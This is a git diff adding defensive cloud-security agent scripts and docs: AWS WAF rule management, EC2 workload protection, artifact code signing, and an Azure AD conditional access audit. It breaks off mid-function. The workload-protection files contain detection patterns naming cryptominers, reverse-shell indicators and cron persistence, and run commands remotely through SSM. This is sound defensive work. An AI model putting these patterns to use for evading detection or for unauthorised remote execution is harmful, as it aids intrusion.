--git a/skills/implementing-cloud-waf-rules/scripts/agent.py b/skills/implementing-cloud-waf-rules/scripts/agent.py new file mode 100644 index 00000000..75641005 --- /dev/null +++ b/skills/implementing-cloud-waf-rules/scripts/agent.py @@ -0,0 +1,210 @@ +#!/usr/bin/env python3 +"""Cloud WAF rules management agent using AWS WAFv2 boto3 client.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install boto3: pip install boto3") + sys.exit(1) + + +MANAGED_RULE_GROUPS = [ + {"vendor": "AWS", "name": "AWSManagedRulesCommonRuleSet", + "description": "OWASP Top 10 core protection"}, + {"vendor": "AWS", "name": "AWSManagedRulesSQLiRuleSet", + "description": "SQL injection protection"}, + {"vendor": "AWS", "name": "AWSManagedRulesKnownBadInputsRuleSet", + "description": "Known malicious input patterns"}, + {"vendor": "AWS", "name": "AWSManagedRulesLinuxRuleSet", + "description": "Linux-specific LFI protection"}, + {"vendor": "AWS", "name": "AWSManagedRulesBotControlRuleSet", + "description": "Bot management and detection"}, + {"vendor": "AWS", "name": "AWSManagedRulesATPRuleSet", + "description": "Account takeover prevention"}, +] + + +def get_waf_client(region="us-east-1", scope="REGIONAL"): + """Create WAFv2 client.""" + return boto3.client("wafv2", region_name=region) + + +def create_web_acl(client, name, scope="REGIONAL", description=""): + """Create a new Web ACL with default block action.""" + try: + resp = client.create_web_acl( + Name=name, Scope=scope, + DefaultAction={"Allow": {}}, + Description=description or f"WAF ACL managed by agent - {name}", + VisibilityConfig={ + "SampledRequestsEnabled": True, "CloudWatchMetricsEnabled": True, + "MetricName": name.replace("-", "")}, + Rules=[]) + return {"arn": resp["Summary"]["ARN"], "id": resp["Summary"]["Id"], + "status": "created"} + except ClientError as e: + return {"error": str(e)} + + +def add_managed_rule_group(client, acl_name, acl_id, lock_token, scope, + vendor, rule_group_name, priority): + """Add a managed rule group to an existing Web ACL.""" + try: + acl = client.get_web_acl(Name=acl_name, Scope=scope, Id=acl_id) + rules = acl["WebACL"]["Rules"] + lock_token = acl["LockToken"] + rules.append({ + "Name": rule_group_name, + "Priority": priority, + "Statement": { + "ManagedRuleGroupStatement": {"VendorName": vendor, "Name": rule_group_name}}, + "OverrideAction": {"None": {}}, + "VisibilityConfig": { + "SampledRequestsEnabled": True, "CloudWatchMetricsEnabled": True, + "MetricName": rule_group_name}}) + client.update_web_acl( + Name=acl_name, Scope=scope, Id=acl_id, LockToken=lock_token, + DefaultAction={"Allow": {}}, Rules=rules, + VisibilityConfig=acl["WebACL"]["VisibilityConfig"]) + return {"rule_group": rule_group_name, "status": "added", "priority": priority} + except ClientError as e: + return {"rule_group": rule_group_name, "error": str(e)} + + +def create_rate_limit_rule(client, acl_name, acl_id, scope, limit=2000, priority=1): + """Create a rate-limiting rule for DDoS/brute-force protection.""" + try: + acl = client.get_web_acl(Name=acl_name, Scope=scope, Id=acl_id) + rules = acl["WebACL"]["Rules"] + lock_token = acl["LockToken"] + rules.append({ + "Name": "RateLimitRule", + "Priority": priority, + "Statement": {"RateBasedStatement": {"Limit": limit, "AggregateKeyType": "IP"}}, + "Action": {"Block": {}}, + "VisibilityConfig": { + "SampledRequestsEnabled": True, "CloudWatchMetricsEnabled": True, + "MetricName": "RateLimitRule"}}) + client.update_web_acl( + Name=acl_name, Scope=scope, Id=acl_id, LockToken=lock_token, + DefaultAction={"Allow": {}}, Rules=rules, + VisibilityConfig=acl["WebACL"]["VisibilityConfig"]) + return {"rule": "RateLimitRule", "limit": limit, "status": "created"} + except ClientError as e: + return {"error": str(e)} + + +def create_geo_block_rule(client, acl_name, acl_id, scope, country_codes, priority=2): + """Create a geo-blocking rule for specified country codes.""" + try: + acl = client.get_web_acl(Name=acl_name, Scope=scope, Id=acl_id) + rules = acl["WebACL"]["Rules"] + lock_token = acl["LockToken"] + rules.append({ + "Name": "GeoBlockRule", + "Priority": priority, + "Statement": {"GeoMatchStatement": {"CountryCodes": country_codes}}, + "Action": {"Block": {}}, + "VisibilityConfig": { + "SampledRequestsEnabled": True, "CloudWatchMetricsEnabled": True, + "MetricName": "GeoBlockRule"}}) + client.update_web_acl( + Name=acl_name, Scope=scope, Id=acl_id, LockToken=lock_token, + DefaultAction={"Allow": {}}, Rules=rules, + VisibilityConfig=acl["WebACL"]["VisibilityConfig"]) + return {"rule": "GeoBlockRule", "countries": country_codes, "status": "created"} + except ClientError as e: + return {"error": str(e)} + + +def list_web_acls(client, scope="REGIONAL"): + """List all Web ACLs.""" + try: + resp = client.list_web_acls(Scope=scope) + return [{"name": acl["Name"], "id": acl["Id"], "arn": acl["ARN"]} + for acl in resp.get("WebACLs", [])] + except ClientError as e: + return [{"error": str(e)}] + + +def get_sampled_requests(client, acl_arn, rule_metric, scope="REGIONAL", max_items=100): + """Get sampled requests for WAF rule analysis.""" + try: + resp = client.get_sampled_requests( + WebAclArn=acl_arn, RuleMetricName=rule_metric, Scope=scope, + TimeWindow={"StartTime": datetime.utcnow().replace(hour=0, minute=0), + "EndTime": datetime.utcnow()}, + MaxItems=max_items) + return [{"action": r["Action"], "uri": r["Request"]["URI"], + "method": r["Request"]["Method"], + "country": r["Request"].get("Country", ""), + "source_ip": r["Request"]["ClientIP"]} + for r in resp.get("SampledRequests", [])] + except ClientError as e: + return [{"error": str(e)}] + + +def run_waf_audit(region="us-east-1", scope="REGIONAL"): + """Run WAF configuration audit.""" + client = get_waf_client(region, scope) + + print(f"\n{'='*60}") + print(f" AWS WAF CONFIGURATION AUDIT") + print(f" Region: {region} | Scope: {scope}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + acls = list_web_acls(client, scope) + print(f"--- WEB ACLs ({len(acls)}) ---") + for acl in acls: + if "error" in acl: + print(f" Error: {acl['error']}") + continue + print(f" {acl['name']} ({acl['id']})") + try: + detail = client.get_web_acl(Name=acl["name"], Scope=scope, Id=acl["id"]) + rules = detail["WebACL"]["Rules"] + print(f" Rules: {len(rules)}") + for r in rules: + print(f" [{r['Priority']}] {r['Name']}") + except ClientError: + pass + + print(f"\n--- AVAILABLE MANAGED RULE GROUPS ---") + for mrg in MANAGED_RULE_GROUPS: + print(f" {mrg['name']}: {mrg['description']}") + + print(f"\n{'='*60}\n") + return {"acls": acls} + + +def main(): + parser = argparse.ArgumentParser(description="Cloud WAF Rules Agent") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--scope", default="REGIONAL", choices=["REGIONAL", "CLOUDFRONT"]) + parser.add_argument("--audit", action="store_true", help="Audit WAF configuration") + parser.add_argument("--create-acl", help="Create new Web ACL with given name") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.audit: + report = run_waf_audit(args.region, args.scope) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + elif args.create_acl: + client = get_waf_client(args.region, args.scope) + result = create_web_acl(client, args.create_acl, args.scope) + print(json.dumps(result, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-cloud-workload-protection/LICENSE b/skills/implementing-cloud-workload-protection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-cloud-workload-protection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-cloud-workload-protection/SKILL.md b/skills/implementing-cloud-workload-protection/SKILL.md new file mode 100644 index 00000000..5359e1e1 --- /dev/null +++ b/skills/implementing-cloud-workload-protection/SKILL.md @@ -0,0 +1,45 @@ +--- +name: implementing-cloud-workload-protection +description: > + Implements cloud workload protection using boto3 and google-cloud APIs for runtime + security monitoring, process anomaly detection, and file integrity checking on EC2/GCE + instances. Scans for cryptomining, reverse shells, and unauthorized binaries. + Use when building runtime security controls for cloud compute workloads. +--- + +# Implementing Cloud Workload Protection + +## Instructions + +Monitor cloud workloads for runtime threats by checking process lists, network +connections, file integrity, and resource utilization anomalies. + +```python +import boto3 + +ssm = boto3.client("ssm") +# Run command on EC2 instances to check for suspicious processes +response = ssm.send_command( + InstanceIds=["i-1234567890abcdef0"], + DocumentName="AWS-RunShellScript", + Parameters={"commands": ["ps aux | grep -E 'xmrig|minerd|cryptonight'"]}, +) +``` + +Key protection areas: +1. Process monitoring for cryptominers and reverse shells +2. File integrity monitoring on critical system files +3. Network connection auditing for C2 callbacks +4. Resource utilization anomaly detection (CPU spikes) +5. Unauthorized binary detection via hash comparison + +## Examples + +```python +# Check for unauthorized outbound connections +ssm.send_command( + InstanceIds=instances, + DocumentName="AWS-RunShellScript", + Parameters={"commands": ["ss -tlnp | grep ESTABLISHED"]}, +) +``` diff --git a/skills/implementing-cloud-workload-protection/references/api-reference.md b/skills/implementing-cloud-workload-protection/references/api-reference.md new file mode 100644 index 00000000..d678a487 --- /dev/null +++ b/skills/implementing-cloud-workload-protection/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Implementing Cloud Workload Protection + +## AWS SSM Run Command (boto3) + +```python +import boto3 +ssm = boto3.client("ssm") + +# Execute command on instances +resp = ssm.send_command( + InstanceIds=["i-abc123"], + DocumentName="AWS-RunShellScript", + Parameters={"commands": ["ps aux"]}, + TimeoutSeconds=60, +) +command_id = resp["Command"]["CommandId"] + +# Get output +output = ssm.get_command_invocation( + CommandId=command_id, InstanceId="i-abc123" +) +print(output["StandardOutputContent"]) +``` + +## CloudWatch CPU Monitoring + +```python +cw = boto3.client("cloudwatch") +resp = cw.get_metric_statistics( + Namespace="AWS/EC2", MetricName="CPUUtilization", + Dimensions=[{"Name": "InstanceId", "Value": "i-abc123"}], + StartTime=start, EndTime=end, Period=300, + Statistics=["Average"], +) +``` + +## Key Detection Commands + +| Threat | Command | +|--------|---------| +| Cryptominer | `ps aux \| grep -iE 'xmrig\|minerd'` | +| Reverse shell | `ss -tlnp \| grep ESTAB` | +| File integrity | `rpm -Va \| grep '^..5'` | +| Unauthorized binaries | `find /tmp -executable -type f` | +| Cron persistence | `crontab -l; ls /etc/cron.d/` | + +## GuardDuty Integration + +```python +gd = boto3.client("guardduty") +findings = gd.list_findings(DetectorId="detector-id") +for fid in findings["FindingIds"]: + detail = gd.get_findings(DetectorId="detector-id", FindingIds=[fid]) + print(detail["Findings"][0]["Type"]) +``` + +### References + +- SSM Run Command: https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html +- CloudWatch: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/cloudwatch.html +- GuardDuty: https://docs.aws.amazon.com/guardduty/latest/ug/ diff --git a/skills/implementing-cloud-workload-protection/scripts/agent.py b/skills/implementing-cloud-workload-protection/scripts/agent.py new file mode 100644 index 00000000..adbc5a60 --- /dev/null +++ b/skills/implementing-cloud-workload-protection/scripts/agent.py @@ -0,0 +1,186 @@ +#!/usr/bin/env python3 +"""Agent for cloud workload protection on AWS EC2 instances.""" + +import os +import json +import time +import argparse +from datetime import datetime + +import boto3 +from botocore.exceptions import ClientError + + +def get_running_instances(session, filters=None): + """List all running EC2 instances.""" + ec2 = session.client("ec2") + params = {"Filters": [{"Name": "instance-state-name", "Values": ["running"]}]} + if filters: + params["Filters"].extend(filters) + instances = [] + paginator = ec2.get_paginator("describe_instances") + for page in paginator.paginate(**params): + for res in page["Reservations"]: + for inst in res["Instances"]: + instances.append({ + "instance_id": inst["InstanceId"], + "type": inst["InstanceType"], + "ip": inst.get("PrivateIpAddress", ""), + "launch_time": str(inst["LaunchTime"]), + }) + return instances + + +def run_ssm_command(session, instance_ids, commands): + """Execute commands on instances via SSM Run Command.""" + ssm = session.client("ssm") + resp = ssm.send_command( + InstanceIds=instance_ids, + DocumentName="AWS-RunShellScript", + Parameters={"commands": commands}, + TimeoutSeconds=60, + ) + command_id = resp["Command"]["CommandId"] + time.sleep(5) + results = {} + for iid in instance_ids: + try: + output = ssm.get_command_invocation(CommandId=command_id, InstanceId=iid) + results[iid] = { + "status": output["Status"], + "stdout": output.get("StandardOutputContent", ""), + "stderr": output.get("StandardErrorContent", ""), + } + except ClientError as e: + results[iid] = {"status": "Error", "error": str(e)} + return results + + +def scan_for_cryptominers(session, instance_ids): + """Detect cryptomining processes on instances.""" + commands = [ + "ps aux | grep -iE 'xmrig|minerd|cryptonight|stratum|nicehash' | grep -v grep", + "find /tmp /var/tmp /dev/shm -name '*.sh' -o -name 'config.json' 2>/dev/null | head -20", + ] + results = run_ssm_command(session, instance_ids, commands) + findings = [] + for iid, result in results.items(): + if result.get("stdout", "").strip(): + findings.append({ + "instance_id": iid, + "type": "cryptominer", + "severity": "CRITICAL", + "output": result["stdout"].strip(), + }) + return findings + + +def scan_for_reverse_shells(session, instance_ids): + """Detect potential reverse shell connections.""" + commands = [ + "ss -tlnp 2>/dev/null | grep ESTAB | grep -vE ':443|:80|:22|:8089'", + "ls -la /dev/tcp 2>/dev/null; ls -la /proc/*/fd 2>/dev/null | grep socket | head -20", + ] + results = run_ssm_command(session, instance_ids, commands) + findings = [] + for iid, result in results.items(): + if result.get("stdout", "").strip(): + findings.append({ + "instance_id": iid, + "type": "suspicious_connections", + "severity": "HIGH", + "output": result["stdout"].strip(), + }) + return findings + + +def check_file_integrity(session, instance_ids): + """Check integrity of critical system files.""" + commands = [ + "rpm -Va 2>/dev/null | grep -E '^..5' | head -20 || " + "debsums -c 2>/dev/null | head -20", + "find /usr/bin /usr/sbin -newer /var/log/lastlog -type f 2>/dev/null | head -20", + ] + results = run_ssm_command(session, instance_ids, commands) + findings = [] + for iid, result in results.items(): + if result.get("stdout", "").strip(): + findings.append({ + "instance_id": iid, + "type": "file_integrity", + "severity": "MEDIUM", + "modified_files": result["stdout"].strip().splitlines(), + }) + return findings + + +def check_cpu_anomaly(session, instance_ids): + """Detect CPU usage anomalies via CloudWatch.""" + cw = session.client("cloudwatch") + anomalies = [] + for iid in instance_ids: + resp = cw.get_metric_statistics( + Namespace="AWS/EC2", + MetricName="CPUUtilization", + Dimensions=[{"Name": "InstanceId", "Value": iid}], + StartTime=datetime.utcnow().replace(hour=0, minute=0), + EndTime=datetime.utcnow(), + Period=300, + Statistics=["Average"], + ) + for dp in resp.get("Datapoints", []): + if dp["Average"] > 90: + anomalies.append({ + "instance_id": iid, + "cpu_avg": round(dp["Average"], 1), + "timestamp": str(dp["Timestamp"]), + "severity": "HIGH", + }) + return anomalies + + +def main(): + parser = argparse.ArgumentParser(description="Cloud Workload Protection Agent") + parser.add_argument("--profile", default=os.getenv("AWS_PROFILE")) + parser.add_argument("--region", default=os.getenv("AWS_DEFAULT_REGION", "us-east-1")) + parser.add_argument("--output", default="cwp_report.json") + parser.add_argument("--action", choices=[ + "list", "cryptominer", "reverse_shell", "integrity", "cpu", "full_scan" + ], default="full_scan") + args = parser.parse_args() + + session = boto3.Session(profile_name=args.profile, region_name=args.region) + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + instances = get_running_instances(session) + instance_ids = [i["instance_id"] for i in instances] + report["instances"] = instances + print(f"[+] Running instances: {len(instances)}") + + if args.action in ("cryptominer", "full_scan") and instance_ids: + findings = scan_for_cryptominers(session, instance_ids) + report["findings"]["cryptominers"] = findings + print(f"[+] Cryptominer detections: {len(findings)}") + + if args.action in ("reverse_shell", "full_scan") and instance_ids: + findings = scan_for_reverse_shells(session, instance_ids) + report["findings"]["reverse_shells"] = findings + print(f"[+] Suspicious connections: {len(findings)}") + + if args.action in ("integrity", "full_scan") and instance_ids: + findings = check_file_integrity(session, instance_ids) + report["findings"]["file_integrity"] = findings + print(f"[+] File integrity issues: {len(findings)}") + + if args.action in ("cpu", "full_scan") and instance_ids: + anomalies = check_cpu_anomaly(session, instance_ids) + report["findings"]["cpu_anomalies"] = anomalies + print(f"[+] CPU anomalies: {len(anomalies)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-code-signing-for-artifacts/LICENSE b/skills/implementing-code-signing-for-artifacts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-code-signing-for-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-code-signing-for-artifacts/references/api-reference.md b/skills/implementing-code-signing-for-artifacts/references/api-reference.md new file mode 100644 index 00000000..dd9f4529 --- /dev/null +++ b/skills/implementing-code-signing-for-artifacts/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Code Signing Verification Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| cryptography | >=41.0 | Ed25519 key generation, signing, and verification | + +## CLI Usage + +```bash +# Generate keypair +python scripts/agent.py --generate-keys --output-dir /keys/ + +# Sign artifact +python scripts/agent.py --sign build/app.tar.gz --private-key /keys/signing_key.pem + +# Verify artifacts +python scripts/agent.py \ + --artifacts build/app.tar.gz build/lib.so \ + --public-key /keys/signing_key.pub \ + --output-dir /reports/ +``` + +## Functions + +### `generate_ed25519_keypair(output_dir) -> dict` +Calls `Ed25519PrivateKey.generate()`, serializes to PEM using `private_bytes()` and `public_bytes()`. + +### `sign_artifact(file_path, private_key_path) -> dict` +Loads PEM key via `serialization.load_pem_private_key()`, calls `private_key.sign(data)`. Writes 64-byte signature to `.sig` file. + +### `verify_signature(file_path, signature_path, public_key_path) -> dict` +Loads public key, calls `public_key.verify(signature, data)`. Catches `InvalidSignature`. + +### `verify_cosign_signature(image) -> dict` +Runs `cosign verify ` via subprocess for container image signature verification. + +### `batch_verify(artifacts, public_key_path) -> list` +Verifies multiple artifacts against the same public key. + +## cryptography API Used + +| Class/Method | Purpose | +|-------------|---------| +| `Ed25519PrivateKey.generate()` | Generate signing keypair | +| `private_key.sign(data)` | Sign data (returns 64 bytes) | +| `public_key.verify(signature, data)` | Verify signature | +| `serialization.load_pem_private_key()` | Load PEM private key | + +## Output Schema + +```json +{ + "summary": {"total": 3, "valid": 2, "invalid": 1}, + "verifications": [{"file": "app.tar.gz", "valid": true, "algorithm": "Ed25519"}] +} +``` diff --git a/skills/implementing-code-signing-for-artifacts/scripts/agent.py b/skills/implementing-code-signing-for-artifacts/scripts/agent.py new file mode 100644 index 00000000..7164638b --- /dev/null +++ b/skills/implementing-code-signing-for-artifacts/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""Code signing verification agent using cryptography library for Ed25519/RSA signature operations.""" + +import argparse +import hashlib +import json +import logging +import os +import subprocess +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import padding, rsa + from cryptography.exceptions import InvalidSignature +except ImportError: + sys.exit("cryptography required: pip install cryptography") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def compute_file_hash(file_path: str, algorithm: str = "sha256") -> str: + """Compute hash digest of a file.""" + h = hashlib.new(algorithm) + with open(file_path, "rb") as f: + for chunk in iter(lambda: f.read(8192), b""): + h.update(chunk) + return h.hexdigest() + + +def generate_ed25519_keypair(output_dir: str) -> dict: + """Generate Ed25519 signing keypair.""" + private_key = Ed25519PrivateKey.generate() + private_bytes = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.NoEncryption(), + ) + public_bytes = private_key.public_key().public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo, + ) + priv_path = os.path.join(output_dir, "signing_key.pem") + pub_path = os.path.join(output_dir, "signing_key.pub") + with open(priv_path, "wb") as f: + f.write(private_bytes) + with open(pub_path, "wb") as f: + f.write(public_bytes) + return {"private_key": priv_path, "public_key": pub_path, "algorithm": "Ed25519"} + + +def sign_artifact(file_path: str, private_key_path: str) -> dict: + """Sign a file artifact using Ed25519.""" + with open(private_key_path, "rb") as f: + private_key = serialization.load_pem_private_key(f.read(), password=None) + with open(file_path, "rb") as f: + data = f.read() + signature = private_key.sign(data) + sig_path = file_path + ".sig" + with open(sig_path, "wb") as f: + f.write(signature) + return { + "file": file_path, + "signature_file": sig_path, + "hash_sha256": hashlib.sha256(data).hexdigest(), + "algorithm": "Ed25519", + } + + +def verify_signature(file_path: str, signature_path: str, public_key_path: str) -> dict: + """Verify an Ed25519 signature against a file.""" + with open(public_key_path, "rb") as f: + public_key = serialization.load_pem_public_key(f.read()) + with open(file_path, "rb") as f: + data = f.read() + with open(signature_path, "rb") as f: + signature = f.read() + try: + public_key.verify(signature, data) + return {"file": file_path, "valid": True, "algorithm": "Ed25519"} + except InvalidSignature: + return {"file": file_path, "valid": False, "error": "Invalid signature"} + + +def verify_cosign_signature(image: str) -> dict: + """Verify container image signature using cosign CLI.""" + try: + result = subprocess.run( + ["cosign", "verify", image], capture_output=True, text=True, timeout=30) + return {"image": image, "verified": result.returncode == 0, + "output": result.stdout[:500]} + except FileNotFoundError: + return {"image": image, "error": "cosign not installed"} + + +def batch_verify(artifacts: List[dict], public_key_path: str) -> List[dict]: + """Verify signatures for multiple artifacts.""" + results = [] + for art in artifacts: + result = verify_signature(art["file"], art["signature"], public_key_path) + results.append(result) + return results + + +def generate_report(artifacts: List[str], public_key_path: str) -> dict: + """Generate code signing verification report.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "verifications": []} + for art_path in artifacts: + sig_path = art_path + ".sig" + if os.path.isfile(sig_path): + result = verify_signature(art_path, sig_path, public_key_path) + else: + result = {"file": art_path, "valid": False, "error": "No signature file found"} + result["hash_sha256"] = compute_file_hash(art_path) + report["verifications"].append(result) + valid = sum(1 for v in report["verifications"] if v.get("valid")) + report["summary"] = { + "total": len(report["verifications"]), + "valid": valid, + "invalid": len(report["verifications"]) - valid, + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Code Signing Verification Agent") + parser.add_argument("--artifacts", nargs="+", help="Files to verify") + parser.add_argument("--public-key", help="Path to public key PEM") + parser.add_argument("--generate-keys", action="store_true", help="Generate new keypair") + parser.add_argument("--sign", help="File to sign (requires --private-key)") + parser.add_argument("--private-key", help="Path to private key PEM") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="signing_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + if args.generate_keys: + keys = generate_ed25519_keypair(args.output_dir) + print(json.dumps(keys, indent=2)) + return + if args.sign and args.private_key: + result = sign_artifact(args.sign, args.private_key) + print(json.dumps(result, indent=2)) + return + if args.artifacts and args.public_key: + report = generate_report(args.artifacts, args.public_key) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report["summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-conditional-access-policies-azure-ad/LICENSE b/skills/implementing-conditional-access-policies-azure-ad/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-conditional-access-policies-azure-ad/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md b/skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md new file mode 100644 index 00000000..f2a085ca --- /dev/null +++ b/skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Azure AD Conditional Access Audit Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for Microsoft Graph API | + +## CLI Usage + +```bash +python scripts/agent.py \ + --tenant-id TENANT_ID --client-id CLIENT_ID --client-secret SECRET \ + --output-dir /reports/ +``` + +## Functions + +### `ConditionalAccessClient(tenant_id, client_id, client_secret)` +Authenticates via OAuth2 client credentials to Microsoft Graph. + +### `list_policies() -> list` +GET `/identity/conditionalAccess/policies` - All conditional access policies. + +### `list_named_locations() -> list` +GET `/identity/conditionalAccess/namedLocations` - Named locations for geo-fencing. + +### `audit_policy(policy) -> dict` +Checks for: MFA requirement, enabled state, app coverage, grant controls. + +### `check_baseline_policies(policies) -> list` +Verifies essential baselines: MFA for admins, block legacy auth, require compliant devices. + +### `generate_report(client) -> dict` +Full audit with per-policy findings and baseline gap analysis. + +## Microsoft Graph Endpoints + +| Endpoint | Purpose | +|----------|---------| +| `GET /identity/conditionalAccess/policies` | List CA policies | +| `GET /identity/conditionalAccess/namedLocations` | Named locations | + +## Output Schema + +```json +{ + "total_policies": 15, "enabled_policies": 12, + "summary": {"high_risk": 3, "missing_baselines": 1}, + "baseline_checks": [{"baseline": "Require MFA for admins", "implemented": true}] +} +``` diff --git a/skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py b/skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py new file mode 100644 index 00000000..1aa2e0d5 --- /dev/null +++ b/skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 +"""Azure AD Conditional Access policy audit agent using Microsoft Graph API.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List + +try: + import requests +except ImportError: + sys.exit("requests required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +GRAPH_BASE = "https://graph.microsoft.com/v1.0" + + +class ConditionalAccessClient: + """Client for Microsoft Graph Conditional Access API.""" + + def __init__(self, tenant_id: str, client_id: str, client_secret: str): + self.token = self._auth(tenant_id, client_id, client_secret) + self.headers = {"Authorization": f"Bearer {self.token}"} + + def _auth(self, tenant_id, client_id, client_secret) -> str: + resp = requests.post( + f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", + data={"grant_type": "client_credentials", "client_id": client_id, + "client_secret": client_secret, + "scope": "https://graph.microsoft.com/.default"}, timeout=15) + resp.raise_for_status() + return resp.json()["access_token"] + + def list_policies(self) -> List[dict]: + """List all conditional access policies.""" + resp = requests.get(f"{GRAPH_BASE}/identity/conditionalAccess/policies", + headers=self.headers, timeout=30) + resp.raise_for_status() + return resp.json().get("value", []) + + def list_named_locations(self) -> List[dict]: + """List named locations used in policies.""" + resp = requests.get(f"{GRAPH_BASE}/identity/conditionalAccess/namedLocations", + headers=self.headers, timeout=30) + resp.raise_for_status() + return resp.json().get("value", []) + + +def audit_policy(policy: dict) -> dict: + """Audit a single conditional access policy for security gaps.""" + findings = [] + conditions = policy.get("conditions", {}) + grant = policy.get("grantControls", {}) + users = conditions.get("users", {}) + if "All" in users.get("includeUsers", []) and not users.get("excludeUsers"): + pass + if not grant.get("builtInControls"): + findings.append("No grant controls configured") + if 